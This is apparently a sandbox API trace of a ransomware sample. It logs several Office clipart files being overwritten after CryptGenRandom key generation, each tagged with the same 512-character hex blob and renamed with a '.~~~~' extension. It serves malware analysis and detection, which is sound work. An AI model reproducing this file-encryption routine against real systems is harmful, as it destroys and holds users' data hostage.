	[0114.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0114.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0114.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839878
	[0114.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0114.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839878 | out: hHeap=0x300000) returned 1
	[0114.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0114.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0114.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836bd8
	[0114.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0114.066] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0114.066] GetLastError () returned 0x0
	[0114.066] GetLastError () returned 0x0
	[0114.066] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0114.066] GetLastError () returned 0x0
	[0114.066] GetLastError () returned 0x0
	[0114.163] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffff88a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.170] WriteFile (in: hFile=0x148, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x776, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x776, lpOverlapped=0x0) returned 1
	[0114.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.172] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.172] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.172] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.172] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.172] CloseHandle (hObject=0x148) returned 1
	[0114.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.173] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf.~~~~")) returned 1
	[0114.174] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.174] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0114.175] GetLastError () returned 0x0
	[0114.175] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942318) returned 1
	[0114.177] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.177] CryptReleaseContext (hProv=0x2942318, dwFlags=0x0) returned 1
	[0114.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0114.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0114.177] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23416715063) returned 1
	[0114.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xada7c770, dwHighDateTime=0x1d60e1e)) 
	[0114.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0114.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0114.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0114.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839a00
	[0114.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839a00 | out: hHeap=0x300000) returned 1
	[0114.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836c70
	[0114.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.178] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0114.178] GetLastError () returned 0x0
	[0114.179] GetLastError () returned 0x0
	[0114.179] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0114.179] GetLastError () returned 0x0
	[0114.179] GetLastError () returned 0x0
	[0114.182] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffe708, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.182] WriteFile (in: hFile=0x148, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x18f8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x18f8, lpOverlapped=0x0) returned 1
	[0114.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.183] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.183] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.184] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.184] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.184] CloseHandle (hObject=0x148) returned 1
	[0114.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836c70
	[0114.184] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.~~~~")) returned 1
	[0114.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2836c70 | out: hHeap=0x300000) returned 1
	[0114.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0114.186] GetLastError () returned 0x0
	[0114.186] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942318) returned 1
	[0114.188] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.188] CryptReleaseContext (hProv=0x2942318, dwFlags=0x0) returned 1
	[0114.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0114.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0114.188] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23417841140) returned 1
	[0114.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xadaa28d0, dwHighDateTime=0x1d60e1e)) 
	[0114.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0114.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0114.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0114.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839a38
	[0114.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839a38 | out: hHeap=0x300000) returned 1
	[0114.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837098
	[0114.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.189] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0114.190] GetLastError () returned 0x0
	[0114.190] GetLastError () returned 0x0
	[0114.190] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0114.190] GetLastError () returned 0x0
	[0114.190] GetLastError () returned 0x0
	[0114.193] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffd5f6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.193] WriteFile (in: hFile=0x148, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x2a0a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x2a0a, lpOverlapped=0x0) returned 1
	[0114.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.195] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.195] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.195] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.195] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.195] CloseHandle (hObject=0x148) returned 1
	[0114.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.196] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf.~~~~")) returned 1
	[0114.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0114.197] GetLastError () returned 0x0
	[0114.197] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942318) returned 1
	[0114.199] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.199] CryptReleaseContext (hProv=0x2942318, dwFlags=0x0) returned 1
	[0114.199] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0114.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0114.199] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23418923239) returned 1
	[0114.199] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xadaa28d0, dwHighDateTime=0x1d60e1e)) 
	[0114.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0114.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0114.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0114.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839a70
	[0114.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839a70 | out: hHeap=0x300000) returned 1
	[0114.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837130
	[0114.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.200] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0114.201] GetLastError () returned 0x0
	[0114.201] GetLastError () returned 0x0
	[0114.201] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0114.201] GetLastError () returned 0x0
	[0114.201] GetLastError () returned 0x0
	[0114.249] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffff835c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.249] WriteFile (in: hFile=0x148, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x7ca4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x7ca4, lpOverlapped=0x0) returned 1
	[0114.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.251] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.251] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.251] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.251] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.251] CloseHandle (hObject=0x148) returned 1
	[0114.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.306] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf.~~~~")) returned 1
	[0114.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0114.308] GetLastError () returned 0x0
	[0114.308] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0114.311] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.311] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0114.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0114.311] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23430117708) returned 1
	[0114.311] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xadbd33d0, dwHighDateTime=0x1d60e1e)) 
	[0114.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0114.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0114.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0114.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839c30
	[0114.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839c30 | out: hHeap=0x300000) returned 1
	[0114.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28371c8
	[0114.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.312] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0114.312] GetLastError () returned 0x0
	[0114.313] GetLastError () returned 0x0
	[0114.313] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0114.313] GetLastError () returned 0x0
	[0114.313] GetLastError () returned 0x0
	[0114.331] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffff324, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.331] WriteFile (in: hFile=0x148, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xcdc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0xcdc, lpOverlapped=0x0) returned 1
	[0114.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0114.333] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.333] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.334] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.334] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.334] CloseHandle (hObject=0x148) returned 1
	[0114.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.334] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf.~~~~")) returned 1
	[0114.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0114.335] GetLastError () returned 0x0
	[0114.356] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0114.358] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.358] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0114.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
